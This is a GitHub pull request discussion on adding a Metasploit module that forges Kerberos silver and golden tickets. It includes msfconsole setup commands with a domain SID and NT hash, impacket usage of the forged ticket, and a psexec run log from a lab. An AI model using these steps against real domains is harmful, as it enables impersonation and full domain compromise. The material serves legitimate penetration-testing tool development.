metasploit-framework icon indicating copy to clipboard operation
metasploit-framework copied to clipboard

Add Silver and Golden ticket forging module

Open dwelch-r7 opened this issue 2 years ago • 1 comments

Updates the Kerberos data model to support the encrypted ticket part, this PR is that start of adding full support for silver/golden ticket creation

Next steps will be to add support for encryption on the encrypted part and integrating it with the existing ticket model

Verification

  • [ ] Tests pass
  • [ ] Start msfconsole
  • [ ] Do: use auxiliary/admin/kerberos/forge_kerberos_ticket
  • [ ] Do: set DOMAIN DW.LOCAL
  • [ ] Do: set DOMAIN_SID S-1-5-21-1755879683-3641577184-3486455962
  • [ ] Do: set NTHASH 88E4D9FABAECF3DEC18DD80905521B29
  • [ ] Do: set USER fake_user
  • [ ] Do: set SPN MSSqlSvc/dc1.dw.local:1433 (Option only used for silver tickets)
  • [ ] Do: silver to generate a silver ticket or golden for a golden ticket
  • [ ] Use your ticket which will have been stored as loot with your chosen target
  • [ ] Example usage in impacket:
    export KRB5CCNAME=/path/to/ticket
    python3 mssqlclient.py DW.LOCAL/[email protected] -k -no-pass
    

dwelch-r7 avatar Jun 23 '22 12:06 dwelch-r7

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

github-actions[bot] avatar Jul 15 '22 15:07 github-actions[bot]

After generating the golden ticket and inspecting it, it looks like the timestamps are missing.

{:client=>
  {:name_type=>1,
   :count_of_components=>1,
   :realm=>"MSFLAB.LOCAL",
   :components=>["smcintyre"]},
 :server=>
  {:name_type=>1,
   :count_of_components=>1,
   :realm=>"MSFLAB.LOCAL",
   :components=>["smcintyre"]},
 :keyblock=>{:enctype=>23, :data=>"cc121803584567e2"},
 :authtime=>1969-12-31 19:00:00 -0500,
 :starttime=>1969-12-31 19:00:00 -0500,
 :endtime=>1969-12-31 19:00:00 -0500,
 :renew_till=>1969-12-31 19:00:00 -0500,
 :is_skey=>false,
 :ticket_flags=>1356857344,
 :address_count=>0,
 :addresses=>[],
 :authdata_count=>0,
 :authdatas=>[],
 :ticket=>
  "a\x82\x03\xA40\x82\x03\xA0\xA0\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xBE\xBC\x94\xC3\x9B(\xA4\xB0\x1D\"\xDDS`\xB9\xEC\x94\xF0\xA2L\xE2\x83c\xF6\x0F\xA5\xB5h!S\xD4*|\x90\x86\x11\xDEP\xEC[\xBF\xC6\xC4q\xAF\xB4E!s\t\xC7\xC3N\xBD>\xF9\xBCh\xEF\x83\xBB1.bJ\xFA\xA7>\x91\xB7\x94\xE3\xFD\xCA\xF2_\xE6\xED\xC1:E:s\x13\x8FgS^\xF2\xEB\x98L\n" +
  "\xE4\xC8\xA58\x06\xBF\xD7Sy$Q^[\t\xEC\xEC\xA4\xE1\x19\xEC\x9D\x88\x13\xE7\xD2>\"\xD0\xBBJa'\x17\x9A\xF2=c\xBBvm\x98\x01SZ~^[\xF6p\x9D\xF7g\xCAP\xAC\xA8Q\xC7\x93\xD5\xD4\xB6",
 :second_ticket=>""}

Also given that a golden ticket is a TGT, the server components should be krbtgt/MSFLAB.LOCAL right?

Yup absolutely right on both counts, minor typos easy fix, nice spot

dwelch-r7 avatar Aug 25 '22 23:08 dwelch-r7

Alright so the changes look good to me now, thanks @dwelch-r7 ! I tested both silver and golden tickets are working with impacket. When a golden ticket is used, there's KRB traffic to get the TGS and it works. When the silver ticket is used, it works without any KRB traffic.

The golden ticket does not work with Metasploit because the cache reuse only supports TGS. This is something I should fix, but in a different PR. The silver ticket however does work with metasploit, as confirmed by making one for the CIFS server and then running the psexec module.

@adfoster-r7 are you comfortable with me landing this or do you still have any outstanding concerns?

smcintyre-r7 avatar Aug 30 '22 17:08 smcintyre-r7

Not a blocker; When testing I ran into issue when testing kerberos + smb. My inline creds were ignored and a ccache file was used implicitly - and it wasn't clear how from a user's perspective to make metasploit not do that.

msf6 exploit(windows/smb/psexec) > run smb://Administrator:[email protected] smbauth=kerberos smbrhostname=dc3.adf3.local domaincontrollerrhost=192.168.123.13 smbdomain=adf3.local

[*] Started reverse TCP handler on 192.168.123.1:4444 
[*] 192.168.123.13:445 - Connecting to the server...
[*] 192.168.123.13:445 - Authenticating to 192.168.123.13:445|adf3.local as user 'Administrator'...
[*] 192.168.123.13:445 - 192.168.123.13:88 - Using cached credential for cifs/dc3.adf3.local Administrator
[-] 192.168.123.13:445 - Exploit failed [no-access]: RubySMB::Error::UnexpectedStatusCode The server responded with an unexpected status code: STATUS_ACCESS_DENIED
[*] Exploit completed, but no session was created.

i.e. There was no option to opt out of the default ccache reuse functionality, it also didn't invalidate the ccache file, or fall back to trying others.

adfoster-r7 avatar Sep 01 '22 12:09 adfoster-r7

Release Notes

Adds a new auxiliary/admin/kerberos/forge_ticket module for forging silver and golden Kerberos tickets

adfoster-r7 avatar Sep 02 '22 10:09 adfoster-r7